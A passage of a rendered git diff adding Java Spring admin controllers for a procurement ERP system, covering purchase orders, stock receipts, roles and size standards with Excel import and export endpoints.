/** 合同台账列表导出 */
|
||||
@RequestMapping("/exportContractTzList")
|
||||
public void exportContractTzList(HttpServletResponse response, Long... ids) {
|
||||
purchaseOrderService.exportContractTzList(response, ids);
|
||||
}
|
||||
|
||||
@RequestMapping("getAmount")
|
||||
@ResponseBody
|
||||
public RespData getAmount(Long id){
|
||||
PurchaseOrder purchaseOrder = purchaseOrderService.find(id);
|
||||
Map<String,Object> map = new HashMap<>();
|
||||
map.put("totalAmount",purchaseOrder.getTotalAmount());
|
||||
map.put("totalPay",purchaseOrder.getPaymentAmount());
|
||||
map.put("ownerId",purchaseOrder.getOwnerId());
|
||||
map.put("ownerName",purchaseOrder.getOwnerName());
|
||||
return RespData.success(map);
|
||||
}
|
||||
|
||||
@RequestMapping("dialog/addFile")
|
||||
public String dialogAddFile(ModelMap modelMap) {
|
||||
Admin admin = adminService.getCurrent();
|
||||
modelMap.addAttribute("adminId", admin.getId());
|
||||
return "purchaseOrder/dialog/addFile";
|
||||
}
|
||||
|
||||
/**
|
||||
* 导入台账信息
|
||||
*/
|
||||
@RequestMapping(value = "/uploadOrderExcel")
|
||||
@ResponseBody
|
||||
public RespData uploadOrderExcel(MultipartFile file, Long adminId) {
|
||||
if (file == null) {
|
||||
return RespData.error("文件为空");
|
||||
}
|
||||
//获得文件名
|
||||
String fileName = file.getOriginalFilename();
|
||||
//判断文件是否是excel文件
|
||||
if (!fileName.endsWith("xls") && !fileName.endsWith("xlsx")) {
|
||||
return RespData.error("不是excel文件");
|
||||
}
|
||||
try {
|
||||
System.out.println("开始导入文件");
|
||||
purchaseOrderService.updateFile(file, adminId);
|
||||
return RespData.success("导入成功");
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
return RespData.error(e.getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
@RequestMapping("/conduit/edit")
|
||||
public String conduitEdit(ModelMap modelMap, Long id) {
|
||||
PurchaseOrder purchaseOrder = purchaseOrderService.find(id);
|
||||
modelMap.addAttribute("purchaseOrder", purchaseOrder);
|
||||
modelMap.addAttribute("poiMoMap", purchaseOrderItemService.findIdMaterialOrderIdMap(id));
|
||||
modelMap.addAttribute("productList",productService.findAll());
|
||||
modelMap.addAttribute("adminList", adminService.findAll());
|
||||
return "/purchaseOrder/conduit/edit";
|
||||
}
|
||||
|
||||
@RequestMapping("/updateCount")
|
||||
@ResponseBody
|
||||
public RespData updateCount(PurchaseOrder purchaseOrder) {
|
||||
purchaseOrderService.updateCount(purchaseOrder);
|
||||
return RespData.success();
|
||||
}
|
||||
|
||||
@RequestMapping("sendMessage")
|
||||
@ResponseBody
|
||||
public RespData sendMessage(Long id) {
|
||||
PurchaseOrder purchaseOrder = purchaseOrderService.find(id);
|
||||
Supplier supplier = supplierService.find(purchaseOrder.getOwnerId());
|
||||
if(supplier.getEmail() == null){
|
||||
return RespData.error("供应商邮箱不能为空");
|
||||
}
|
||||
boolean needPurchase = true;
|
||||
for (PurchaseOrderItem purchaseOrderItem : purchaseOrder.getPurchaseOrderItemList()){
|
||||
if (purchaseOrderItem.getPurchaseCount() != null){
|
||||
needPurchase = false;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (needPurchase){
|
||||
return RespData.error("请先保存订货数量");
|
||||
}
|
||||
purchaseOrderService.sendMessage(id);
|
||||
return RespData.success("发送成功");
|
||||
}
|
||||
|
||||
@RequestMapping("dialog/turnPurchaseOrder")
|
||||
public String dialogTurnPurchaseOrder(Long id,ModelMap modelMap){
|
||||
modelMap.addAttribute("id",id);
|
||||
modelMap.addAttribute("today", DateUtil.formatDate(new Date()));
|
||||
modelMap.addAttribute("companyAddress", systemSettingService.findSingle().getCompanyAddress());
|
||||
modelMap.addAttribute("purchaseType", Optional.ofNullable(purchaseOrderService.find(id)).map(PurchaseOrder::getPurchaseType).orElse(null));
|
||||
return "purchaseOrder/dialog/turnPurchaseOrder";
|
||||
}
|
||||
|
||||
/**转变合同*/
|
||||
@RequestMapping("turnToContract")
|
||||
@ResponseBody
|
||||
public RespData turnToContract(Long id,Integer flowNum,String preTitle, Date signTime, String signPlace, String name, String purchaseType, BigDecimal estimatedAmount){
|
||||
purchaseOrderService.turnToContract(id,flowNum,preTitle, signTime, signPlace, name, purchaseType, estimatedAmount);
|
||||
return RespData.success("转变成功");
|
||||
}
|
||||
|
||||
@RequestMapping("dialog/mergePurchaseOrder")
|
||||
public String dialogMergePurchaseOrder(String ids,ModelMap modelMap){
|
||||
modelMap.addAttribute("ids",ids);
|
||||
modelMap.addAttribute("today", DateUtil.formatDate(new Date()));
|
||||
modelMap.addAttribute("companyAddress", systemSettingService.findSingle().getCompanyAddress());
|
||||
PurchaseOrder purchaseOrder = null;
|
||||
Long ownerId = null;
|
||||
for (String s : ids.split(",")) {
|
||||
if (purchaseOrder == null) {
|
||||
purchaseOrder = purchaseOrderService.find(Long.valueOf(s));
|
||||
ownerId = purchaseOrder.getOwnerId();
|
||||
} else {
|
||||
purchaseOrder = purchaseOrderService.find(Long.valueOf(s));
|
||||
if (!ownerId.equals(purchaseOrder.getOwnerId())) {
|
||||
throw new RuntimeException("非同一个供应商");
|
||||
}
|
||||
}
|
||||
}
|
||||
modelMap.addAttribute("purchaseType", purchaseOrder.getPurchaseType());
|
||||
modelMap.addAttribute("supplierCsp", supplierCspService.findBySupplierId(purchaseOrder.getOwnerId()));
|
||||
return "purchaseOrder/dialog/mergePurchaseOrder";
|
||||
}
|
||||
|
||||
/**合并成合同*/
|
||||
@RequestMapping("mergeContract")
|
||||
@ResponseBody
|
||||
public RespData mergeContract(String ids,Integer flowNum,String preTitle, String subTitle, String sn, Date signTime, String signPlace, String name, String purchaseType, BigDecimal estimatedAmount){
|
||||
purchaseOrderService.mergeContract(ids,flowNum,preTitle, subTitle, sn, signTime, signPlace, name, purchaseType, estimatedAmount);
|
||||
return RespData.success("转变成功");
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,448 @@
|
||||
package com.vverp.controller.admin;
|
||||
|
||||
import com.vverp.dto.OrderQuery;
|
||||
import com.vverp.entity.*;
|
||||
import com.vverp.enums.OrderCategory;
|
||||
import com.vverp.moli.util.Message;
|
||||
import com.vverp.moli.util.Page;
|
||||
import com.vverp.moli.util.Pageable;
|
||||
import com.vverp.moli.util.RespData;
|
||||
import com.vverp.service.*;
|
||||
import org.springframework.http.ResponseEntity;
|
||||
import org.springframework.stereotype.Controller;
|
||||
import org.springframework.ui.ModelMap;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.RequestMethod;
|
||||
import org.springframework.web.bind.annotation.ResponseBody;
|
||||
import org.springframework.web.multipart.MultipartFile;
|
||||
|
||||
import javax.annotation.Resource;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
import java.math.BigDecimal;
|
||||
import java.util.*;
|
||||
|
||||
/**
|
||||
* @author dealsky
|
||||
* @date 2020/2/24 2:37 下午
|
||||
*/
|
||||
@Controller("adminPurchaseStockController")
|
||||
@RequestMapping("/admin/purchaseStock")
|
||||
public class PurchaseStockController extends BaseController {
|
||||
|
||||
@Resource
|
||||
private PurchaseStockService purchaseStockService;
|
||||
|
||||
@Resource
|
||||
private PurchaseOrderService purchaseOrderService;
|
||||
|
||||
@Resource
|
||||
private SupplierService supplierService;
|
||||
|
||||
@Resource
|
||||
private OrderTool orderTool;
|
||||
|
||||
@Resource
|
||||
private PurchaseStockItemService purchaseStockItemService;
|
||||
|
||||
@Resource
|
||||
private AdminService adminService;
|
||||
@Resource
|
||||
private ProductService productService;
|
||||
@Resource
|
||||
private ProgressService progressService;
|
||||
|
||||
@RequestMapping("/list")
|
||||
public String list(ModelMap modelMap, Pageable pageable, OrderQuery orderQuery,String pageType) {
|
||||
/*Admin admin = adminService.getCurrent();
|
||||
orderQuery.setProgressId(admin.getNowProgress());
|
||||
modelMap.addAttribute("supplier","false");
|
||||
|
||||
Supplier adminSupplier = null;
|
||||
for (Supplier findSupplier : admin.getSupplierList()){
|
||||
if (admin.getNowProgress()==null){
|
||||
if (findSupplier.getProgressId() == null){
|
||||
adminSupplier = findSupplier;
|
||||
}
|
||||
}else {
|
||||
if (admin.getNowProgress().equals(findSupplier.getProgressId())){
|
||||
adminSupplier = findSupplier;
|
||||
}
|
||||
}
|
||||
}
|
||||
if (adminSupplier != null){
|
||||
orderQuery.setOwnerId(adminSupplier.getId());
|
||||
modelMap.addAttribute("supplier","true");
|
||||
}*/
|
||||
OrderQuery tmp = pageAddProgressData(modelMap, orderQuery);
|
||||
orderTool.listCommonAttr(modelMap, pageable, orderQuery, PurchaseStock.class, purchaseStockService, purchaseStockItemService);
|
||||
// modelMap.addAttribute("ownerList", supplierService.findAll());
|
||||
modelMap.addAttribute("pageType",pageType);
|
||||
Page<PurchaseStock> page = (Page<PurchaseStock>) modelMap.get("page");
|
||||
Map<Long, PurchaseOrder> poIdEntityMap = new HashMap<>();
|
||||
Map<Long, BigDecimal> psIdStockMap = new HashMap<>();
|
||||
for (PurchaseStock purchaseStock : page.getContent()) {
|
||||
Long purchaseStockId = purchaseStock.getId();
|
||||
Long purchaseOrderId = purchaseStock.getPurchaseOrderId();
|
||||
if (!poIdEntityMap.containsKey(purchaseStockId)) {
|
||||
poIdEntityMap.put(purchaseStockId, purchaseOrderService.find(purchaseOrderId));
|
||||
psIdStockMap.put(purchaseStockId, purchaseStockItemService.findSumInStockNumByPurchaseStockId(purchaseStockId));
|
||||
}
|
||||
}
|
||||
modelMap.addAttribute("poIdEntityMap", poIdEntityMap);
|
||||
modelMap.addAttribute("psIdStockMap", psIdStockMap);
|
||||
// 合同作为筛选条件,根据公司和供应商筛选
|
||||
modelMap.addAttribute("purchaseOrderId", orderQuery.getPurchaseOrderId());
|
||||
modelMap.addAttribute("purchaseOrderList", purchaseOrderService.findList(tmp));
|
||||
return "/purchaseStock/list";
|
||||
}
|
||||
|
||||
public OrderQuery pageAddProgressData(ModelMap modelMap, OrderQuery orderQuery) {
|
||||
OrderQuery tmp = new OrderQuery();
|
||||
|
||||
Admin admin = adminService.getCurrent();
|
||||
if (orderQuery.getProgressId() == null) {
|
||||
orderQuery.setProgressId(admin.getNowProgress());
|
||||
}
|
||||
tmp.setProgressId(orderQuery.getProgressId());
|
||||
|
||||
orderQuery.setVisibleCompanyIdsStr(admin.getVisibleCompanyIdsStr());
|
||||
orderQuery.setVisibleDepartmentIdsStr(admin.getVisibleDepartmentIdsStr());
|
||||
tmp.setVisibleCompanyIdsStr(admin.getVisibleCompanyIdsStr());
|
||||
tmp.setVisibleDepartmentIdsStr(admin.getVisibleDepartmentIdsStr());
|
||||
|
||||
// 用户是否为供应商
|
||||
boolean isSupplier = Admin.Type.supplier.equals(admin.getType());
|
||||
if (isSupplier) {
|
||||
// 供应商
|
||||
Supplier adminSupplier = null;
|
||||
for (Supplier findSupplier : admin.getSupplierList()) {
|
||||
if (Objects.equals(orderQuery.getProgressId(), findSupplier.getProgressId())) {
|
||||
adminSupplier = findSupplier;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
orderQuery.setOwnerId(Optional.ofNullable(adminSupplier).map(Supplier::getId).orElse(0L));
|
||||
tmp.setOwnerId(Optional.ofNullable(adminSupplier).map(Supplier::getId).orElse(0L));
|
||||
// orderQuery.setBeginOrder(true);
|
||||
} else {
|
||||
modelMap.addAttribute("ownerList", supplierService.findByProgressId(orderQuery.getProgressId(), false));
|
||||
}
|
||||
modelMap.addAttribute("supplier", isSupplier);
|
||||
|
||||
// 项目是否为公司
|
||||
boolean isCompany = Admin.Type.admin.equals(admin.getType()) && admin.getNowProgress() == null;
|
||||
modelMap.addAttribute("company", isCompany);
|
||||
if (isCompany) {
|
||||
modelMap.addAttribute("progressId", orderQuery.getProgressId());
|
||||
modelMap.addAttribute("progressList", progressService.findAll());
|
||||
}
|
||||
|
||||
return tmp;
|
||||
}
|
||||
|
||||
@RequestMapping("/add")
|
||||
public String add(ModelMap modelMap, Long purchaseOrderId) {
|
||||
orderTool.addCommonAttr(modelMap, OrderCategory.purchase);
|
||||
PurchaseOrder purchaseOrder = purchaseOrderService.find(purchaseOrderId);
|
||||
if (purchaseOrder != null) {
|
||||
modelMap.addAttribute("purchaseOrder", purchaseOrder);
|
||||
}
|
||||
|
||||
modelMap.addAttribute("purchaseOrderId", purchaseOrderId);
|
||||
modelMap.addAttribute("purchaseOrderList", purchaseOrderService.findAvailableList());
|
||||
|
||||
return "/purchaseStock/add";
|
||||
}
|
||||
|
||||
@RequestMapping("/dialog/add")
|
||||
public String dialogAdd(ModelMap modelMap, Long purchaseOrderId) {
|
||||
orderTool.addCommonAttr(modelMap, OrderCategory.purchase);
|
||||
PurchaseOrder purchaseOrder = purchaseOrderService.find(purchaseOrderId);
|
||||
if (purchaseOrder != null) {
|
||||
modelMap.addAttribute("purchaseOrder", purchaseOrder);
|
||||
}
|
||||
modelMap.addAttribute("date", new Date());
|
||||
|
||||
return "/purchaseStock/dialog/add";
|
||||
}
|
||||
|
||||
@RequestMapping("/view")
|
||||
public String view(ModelMap modelMap, Long id) {
|
||||
PurchaseStock purchaseStock = purchaseStockService.find(id);
|
||||
modelMap.addAttribute("purchaseStock", purchaseStock);
|
||||
return "/purchaseStock/view";
|
||||
}
|
||||
|
||||
@RequestMapping("/edit")
|
||||
public String edit(ModelMap modelMap, Long id) {
|
||||
orderTool.addCommonAttr(modelMap, OrderCategory.purchase);
|
||||
PurchaseStock purchaseStock = purchaseStockService.find(id);
|
||||
modelMap.addAttribute("purchaseStock", purchaseStock);
|
||||
return "/purchaseStock/edit";
|
||||
}
|
||||
|
||||
@RequestMapping("/inStock")
|
||||
public String inStock(ModelMap modelMap, Long id) {
|
||||
orderTool.addCommonAttr(modelMap, OrderCategory.purchase);
|
||||
PurchaseStock purchaseStock = purchaseStockService.find(id);
|
||||
modelMap.addAttribute("purchaseStock", purchaseStock);
|
||||
return "/purchaseStock/inStock";
|
||||
}
|
||||
|
||||
@RequestMapping("/save")
|
||||
@ResponseBody
|
||||
public RespData save(PurchaseStock purchaseStock) {
|
||||
try {
|
||||
purchaseStockService.saveSalesStock(purchaseStock);
|
||||
} catch (RuntimeException e) {
|
||||
e.printStackTrace();
|
||||
return RespData.error(e.getMessage());
|
||||
}
|
||||
return RespData.success();
|
||||
}
|
||||
|
||||
@RequestMapping("/update")
|
||||
@ResponseBody
|
||||
public RespData update(PurchaseStock purchaseStock) {
|
||||
try {
|
||||
purchaseStockService.updateSalesStock(purchaseStock);
|
||||
} catch (RuntimeException e) {
|
||||
e.printStackTrace();
|
||||
return RespData.error(e.getMessage());
|
||||
}
|
||||
return RespData.success();
|
||||
}
|
||||
|
||||
@RequestMapping("/updateTitle")
|
||||
@ResponseBody
|
||||
public RespData updateTitle(PurchaseStock purchaseStock) {
|
||||
try {
|
||||
purchaseStockService.updateTitle(purchaseStock);
|
||||
} catch (RuntimeException e) {
|
||||
e.printStackTrace();
|
||||
return RespData.error(e.getMessage());
|
||||
}
|
||||
return RespData.success();
|
||||
}
|
||||
|
||||
@RequestMapping("/updateStock")
|
||||
@ResponseBody
|
||||
public RespData updateStock(PurchaseStock purchaseStock) {
|
||||
try {
|
||||
purchaseStockService.updateStock(purchaseStock);
|
||||
} catch (RuntimeException e) {
|
||||
e.printStackTrace();
|
||||
return RespData.error(e.getMessage());
|
||||
}
|
||||
return RespData.success();
|
||||
}
|
||||
|
||||
/**
|
||||
* 审批
|
||||
*
|
||||
* @return
|
||||
*/
|
||||
@RequestMapping("/approve")
|
||||
@ResponseBody
|
||||
public RespData approve(Long id) {
|
||||
PurchaseStock purchaseStock = purchaseStockService.find(id);
|
||||
try {
|
||||
purchaseStockService.approve(purchaseStock);
|
||||
return RespData.success();
|
||||
} catch (RuntimeException e) {
|
||||
return RespData.error(e.getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 审批申请
|
||||
*
|
||||
* @return
|
||||
*/
|
||||
@RequestMapping("/approveApply")
|
||||
@ResponseBody
|
||||
public RespData approveApply(Long id) {
|
||||
PurchaseStock purchaseStock = purchaseStockService.find(id);
|
||||
try {
|
||||
purchaseStockService.approveApply(purchaseStock);
|
||||
return RespData.success();
|
||||
} catch (RuntimeException e) {
|
||||
return RespData.error(e.getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 作废
|
||||
*
|
||||
* @return
|
||||
*/
|
||||
@RequestMapping("/invalid")
|
||||
@ResponseBody
|
||||
public RespData invalid(Long id) {
|
||||
PurchaseStock purchaseStock = purchaseStockService.find(id);
|
||||
try {
|
||||
purchaseStockService.invalid(purchaseStock);
|
||||
return RespData.success();
|
||||
} catch (RuntimeException e) {
|
||||
return RespData.error(e.getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 品质检测页面
|
||||
*/
|
||||
@RequestMapping("/detection")
|
||||
public String detection(ModelMap modelMap, Long id) {
|
||||
PurchaseStock purchaseStock = purchaseStockService.find(id);
|
||||
modelMap.addAttribute("purchaseStock", purchaseStock);
|
||||
return "/purchaseStock/detection";
|
||||
}
|
||||
|
||||
/**
|
||||
* 检测更新
|
||||
*/
|
||||
@RequestMapping("/detectionUpdate")
|
||||
@ResponseBody
|
||||
public RespData detectionUpdate(PurchaseStock purchaseStock) {
|
||||
return respDataWithHandle(() -> purchaseStockService.detectionUpdate(purchaseStock));
|
||||
}
|
||||
|
||||
/**
|
||||
* 入库页面
|
||||
*/
|
||||
@RequestMapping("/storage")
|
||||
public String storage(ModelMap modelMap, Long id, Long transportContractId) {
|
||||
PurchaseStock purchaseStock = purchaseStockService.find(id);
|
||||
modelMap.addAttribute("purchaseStock", purchaseStock);
|
||||
modelMap.addAttribute("transportContractId", transportContractId);
|
||||
return "/purchaseStock/storage";
|
||||
}
|
||||
|
||||
|
||||
|
||||
@RequestMapping("/delete")
|
||||
@ResponseBody
|
||||
public Message delete(Long[] ids) {
|
||||
purchaseStockService.deleteEntity(ids);
|
||||
return SUCCESS;
|
||||
}
|
||||
|
||||
@RequestMapping("dialog/addLog")
|
||||
public String dialogAddLog (ModelMap modelMap){
|
||||
Admin admin = adminService.getCurrent();
|
||||
modelMap.addAttribute("adminId",admin.getId());
|
||||
return "purchaseStock/dialog/addLog";
|
||||
}
|
||||
|
||||
/**
|
||||
* 导入发货清单
|
||||
*/
|
||||
@RequestMapping(value = "/uploadExcel", method = RequestMethod.POST)
|
||||
@ResponseBody
|
||||
public RespData uploadExcel(MultipartFile file,Long adminId) {
|
||||
if (file == null) {
|
||||
return RespData.error("文件为空");
|
||||
}
|
||||
//获得文件名
|
||||
String fileName = file.getOriginalFilename();
|
||||
//判断文件是否是excel文件
|
||||
if (!fileName.endsWith("xls") && !fileName.endsWith("xlsx")) {
|
||||
return RespData.error("不是excel文件");
|
||||
}
|
||||
try {
|
||||
purchaseStockService.ExcelSendData(file,adminId);
|
||||
return RespData.success("发货成功");
|
||||
}catch (Exception e){
|
||||
e.printStackTrace();
|
||||
return RespData.error(e.getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
/**上传导出模板*/
|
||||
@RequestMapping("dialog/importTemplate")
|
||||
public String dialogImportTemplate (ModelMap modelMap){
|
||||
Admin admin = adminService.getCurrent();
|
||||
modelMap.addAttribute("adminId",admin.getId());
|
||||
return "purchaseStock/dialog/importTemplate";
|
||||
}
|
||||
|
||||
@RequestMapping(value = "/uploadTemplate", method = RequestMethod.POST)
|
||||
@ResponseBody
|
||||
public RespData uploadTemplate(MultipartFile file,Long adminId) {
|
||||
if (file == null) {
|
||||
return RespData.error("文件为空");
|
||||
}
|
||||
//获得文件名
|
||||
String fileName = file.getOriginalFilename();
|
||||
//判断文件是否是excel文件
|
||||
if (!fileName.endsWith("xlsx")) {
|
||||
return RespData.error("不是.xlsx文件");
|
||||
}
|
||||
try {
|
||||
purchaseStockService.uploadTemplate(file,adminId);
|
||||
return RespData.success("发货成功");
|
||||
}catch (Exception e){
|
||||
e.printStackTrace();
|
||||
return RespData.error(e.getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
/**导出发货单*/
|
||||
@RequestMapping("/export")
|
||||
public void export(HttpServletResponse response, Long id) {
|
||||
purchaseStockService.export3(response, id, true);
|
||||
}
|
||||
|
||||
/**导出入库单*/
|
||||
@RequestMapping("/exportInStock")
|
||||
public void exportInStock(HttpServletResponse response, Long id) {
|
||||
purchaseStockService.export3(response, id, false);
|
||||
}
|
||||
|
||||
/**入库管理-导出*/
|
||||
@RequestMapping("/exportList")
|
||||
public void exportList(HttpServletResponse response,OrderQuery orderQuery) {
|
||||
Admin admin = adminService.getCurrent();
|
||||
Supplier adminSupplier = null;
|
||||
for (Supplier findSupplier : admin.getSupplierList()){
|
||||
if (admin.getNowProgress()==null){
|
||||
if (findSupplier.getProgressId() == null){
|
||||
adminSupplier = findSupplier;
|
||||
}
|
||||
}else {
|
||||
if (admin.getNowProgress().equals(findSupplier.getProgressId())){
|
||||
adminSupplier = findSupplier;
|
||||
}
|
||||
}
|
||||
}
|
||||
if (adminSupplier != null){
|
||||
orderQuery.setOwnerId(adminSupplier.getId());
|
||||
}
|
||||
purchaseStockService.exportList(response,orderQuery);
|
||||
}
|
||||
|
||||
/**入库管理-批量导出*/
|
||||
@RequestMapping("/exportAll")
|
||||
public void exportAll(HttpServletResponse response, Long[] ids) {
|
||||
purchaseStockService.exportAll(response, ids);
|
||||
}
|
||||
|
||||
/**导入入库单*/
|
||||
@RequestMapping("dialog/addFile")
|
||||
public String addFile(ModelMap modelMap){
|
||||
modelMap.addAttribute("progressId",adminService.getCurrent().getNowProgress());
|
||||
return "purchaseStock/dialog/addFile";
|
||||
}
|
||||
|
||||
@RequestMapping("/importExcel")
|
||||
@ResponseBody
|
||||
public Map<String, Object> importExcel(MultipartFile file,Long progressId,Long purchaseStockId) {
|
||||
try {
|
||||
return purchaseStockItemService.importExcel(file,progressId,purchaseStockId);
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
return new HashMap<>();
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,13 @@
|
||||
package com.vverp.controller.admin;
|
||||
|
||||
import org.springframework.stereotype.Controller;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
|
||||
/**
|
||||
* @author dealsky
|
||||
* @date 2021-06-30 10:47
|
||||
*/
|
||||
@Controller
|
||||
@RequestMapping("/admin/resendMessage")
|
||||
public class ResendMessageController extends BaseController {
|
||||
}
|
||||
121
src/main/java/com/vverp/controller/admin/RoleController.java
Normal file
121
src/main/java/com/vverp/controller/admin/RoleController.java
Normal file
@@ -0,0 +1,121 @@
|
||||
package com.vverp.controller.admin;
|
||||
|
||||
import com.vverp.entity.Role;
|
||||
import com.vverp.enums.DataRange;
|
||||
import com.vverp.service.RoleService;
|
||||
import org.apache.commons.lang.StringUtils;
|
||||
import org.springframework.stereotype.Controller;
|
||||
import org.springframework.ui.ModelMap;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.ResponseBody;
|
||||
|
||||
import javax.annotation.Resource;
|
||||
|
||||
import com.vverp.moli.util.*;
|
||||
|
||||
/**
|
||||
* Controller - 角色
|
||||
*
|
||||
* @author
|
||||
* @version 1.0
|
||||
*/
|
||||
@Controller("adminRoleController")
|
||||
@RequestMapping("/admin/role")
|
||||
public class RoleController extends BaseController {
|
||||
|
||||
@Resource
|
||||
private RoleService roleService;
|
||||
|
||||
@RequestMapping(value = "/add")
|
||||
public String add(ModelMap modelMap) {
|
||||
modelMap.addAttribute("dataRanges", DataRange.values());
|
||||
return "/role/add";
|
||||
}
|
||||
|
||||
@RequestMapping(value = "/save")
|
||||
public @ResponseBody
|
||||
Message save(Role role) {
|
||||
role.setIsSystem(false);
|
||||
role.setAdmins(null);
|
||||
roleService.save(role);
|
||||
return SUCCESS;
|
||||
}
|
||||
|
||||
@RequestMapping(value = "/edit")
|
||||
public String edit(Long id, ModelMap model) {
|
||||
Role role = roleService.find(id);
|
||||
model.addAttribute("role", role);
|
||||
model.addAttribute("authorities", role.getAuthorities());
|
||||
model.addAttribute("tableColumnControlAuthorityList", role.getTableColumnControlAuthorityList());
|
||||
model.addAttribute("dataRanges", DataRange.values());
|
||||
return "/role/edit";
|
||||
}
|
||||
|
||||
@RequestMapping(value = "/update")
|
||||
@ResponseBody
|
||||
public Message update(Role role) {
|
||||
// if (!isValid(role)) {
|
||||
// return Message.error("角色数据验证失败");
|
||||
// }
|
||||
Role pRole = roleService.find(role.getId());
|
||||
if (pRole == null || pRole.getIsSystem()) {
|
||||
return Message.error("角色数据验证失败");
|
||||
}
|
||||
if (pRole.getChineseName().equals("供应商") || pRole.getChineseName().equals("管理员")){
|
||||
role.setChineseName(pRole.getChineseName());
|
||||
}
|
||||
roleService.update(role, "isSystem", "admins");
|
||||
return SUCCESS;
|
||||
}
|
||||
|
||||
@RequestMapping(value = "/list")
|
||||
public String list(Pageable pageable, ModelMap model) {
|
||||
model.addAttribute("page", roleService.findPage(pageable));
|
||||
return "/role/list";
|
||||
}
|
||||
|
||||
@RequestMapping("/view")
|
||||
public String view(ModelMap modelMap, Long id) {
|
||||
modelMap.addAttribute("role", roleService.find(id));
|
||||
modelMap.addAttribute("authorities", roleService.find(id).getAuthorities());
|
||||
modelMap.addAttribute("dataRanges", DataRange.values());
|
||||
return "/role/view";
|
||||
}
|
||||
|
||||
/**
|
||||
* 删除
|
||||
*/
|
||||
@RequestMapping(value = "/delete")
|
||||
public @ResponseBody
|
||||
Message delete(Long[] ids) {
|
||||
for (Long id : ids){
|
||||
Role role = roleService.find(id);
|
||||
if (role.getChineseName().equals("供应商")||role.getChineseName().equals("管理员")){
|
||||
return Message.error("供应商或管理员无法删除");
|
||||
}
|
||||
}
|
||||
roleService.delete(ids);
|
||||
return SUCCESS;
|
||||
}
|
||||
|
||||
@RequestMapping("/nameIsExist")
|
||||
@ResponseBody
|
||||
public boolean nameIsExist(String name) {
|
||||
if (StringUtils.isEmpty(name)) {
|
||||
return false;
|
||||
} else {
|
||||
return !roleService.nameIsExist(name);
|
||||
}
|
||||
}
|
||||
|
||||
@RequestMapping("/chineseNameIsExist")
|
||||
@ResponseBody
|
||||
public boolean chineseNameIsExist(String chineseName) {
|
||||
if (StringUtils.isEmpty(chineseName)) {
|
||||
return false;
|
||||
} else {
|
||||
return !roleService.chineseNameIsExist(chineseName);
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,95 @@
|
||||
package com.vverp.controller.admin;
|
||||
|
||||
import com.vverp.entity.Material;
|
||||
import com.vverp.entity.SizeStandard;
|
||||
import com.vverp.moli.util.Message;
|
||||
import com.vverp.moli.util.Page;
|
||||
import com.vverp.moli.util.Pageable;
|
||||
import com.vverp.moli.util.RespData;
|
||||
import com.vverp.service.SizeStandardService;
|
||||
import org.springframework.stereotype.Controller;
|
||||
import org.springframework.ui.ModelMap;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.ResponseBody;
|
||||
import org.springframework.web.multipart.MultipartFile;
|
||||
|
||||
import javax.annotation.Resource;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
|
||||
@RequestMapping("admin/sizeStandard")
|
||||
@Controller("adminSizeStandard")
|
||||
public class SizeStandardController extends BaseController{
|
||||
|
||||
@Resource
|
||||
private SizeStandardService sizeStandardService;
|
||||
|
||||
|
||||
@RequestMapping("list")
|
||||
public String list(ModelMap modelMap, Pageable pageable){
|
||||
Page<SizeStandard> page = sizeStandardService.findPage(pageable);
|
||||
modelMap.addAttribute("page",page);
|
||||
return "sizeStandard/list";
|
||||
}
|
||||
|
||||
@RequestMapping("add")
|
||||
public String add(){
|
||||
return "sizeStandard/add";
|
||||
}
|
||||
|
||||
@RequestMapping("edit")
|
||||
public String edit(ModelMap modelMap, Long id){
|
||||
SizeStandard sizeStandard = sizeStandardService.find(id);
|
||||
modelMap.addAttribute("sizeStandard",sizeStandard);
|
||||
return "sizeStandard/edit";
|
||||
}
|
||||
|
||||
@RequestMapping("save")
|
||||
@ResponseBody
|
||||
public RespData save(SizeStandard sizeStandard){
|
||||
if (sizeStandardService.findByAttribute("name",sizeStandard.getName()) != null){
|
||||
return RespData.error(sizeStandard.getName()+"已存在");
|
||||
}
|
||||
sizeStandardService.save(sizeStandard);
|
||||
return RespData.success();
|
||||
}
|
||||
|
||||
@RequestMapping("update")
|
||||
@ResponseBody
|
||||
public RespData update(SizeStandard sizeStandard){
|
||||
SizeStandard source = sizeStandardService.findByAttribute("name",sizeStandard.getName());
|
||||
if (source != null && !source.getId().equals(sizeStandard.getId())){
|
||||
return RespData.error(sizeStandard.getName()+"已存在");
|
||||
}
|
||||
sizeStandardService.update(sizeStandard);
|
||||
return RespData.success();
|
||||
}
|
||||
|
||||
@RequestMapping("delete")
|
||||
@ResponseBody
|
||||
public Message delete(Long ids){
|
||||
sizeStandardService.delete(ids);
|
||||
return Message.success("删除成功");
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* 导入模板
|
||||
*/
|
||||
@RequestMapping("/exportTemplate")
|
||||
public void exportTemplate(HttpServletResponse response) {
|
||||
sizeStandardService.exportTemplate(response);
|
||||
}
|
||||
|
||||
@RequestMapping("import")
|
||||
@ResponseBody
|
||||
public RespData importExcel(MultipartFile file) {
|
||||
try {
|
||||
sizeStandardService.importExcel(file);
|
||||
return RespData.success();
|
||||
} catch (RuntimeException e) {
|
||||
return RespData.error(e.getMessage());
|
||||
} catch (Exception e) {
|
||||
return RespData.error("导入失败");
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,64 @@
|
||||
package com.vverp.controller.admin;
|
||||
|
||||
